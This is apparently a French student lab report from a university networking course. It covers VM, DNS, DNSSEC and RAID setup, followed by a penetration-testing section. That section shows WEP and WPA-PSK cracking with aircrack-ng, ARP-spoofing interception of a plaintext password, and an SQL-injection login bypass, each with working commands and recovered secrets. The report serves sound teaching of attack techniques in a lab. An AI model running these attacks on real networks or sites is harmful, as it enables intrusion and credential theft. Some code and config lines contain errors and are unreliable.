    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
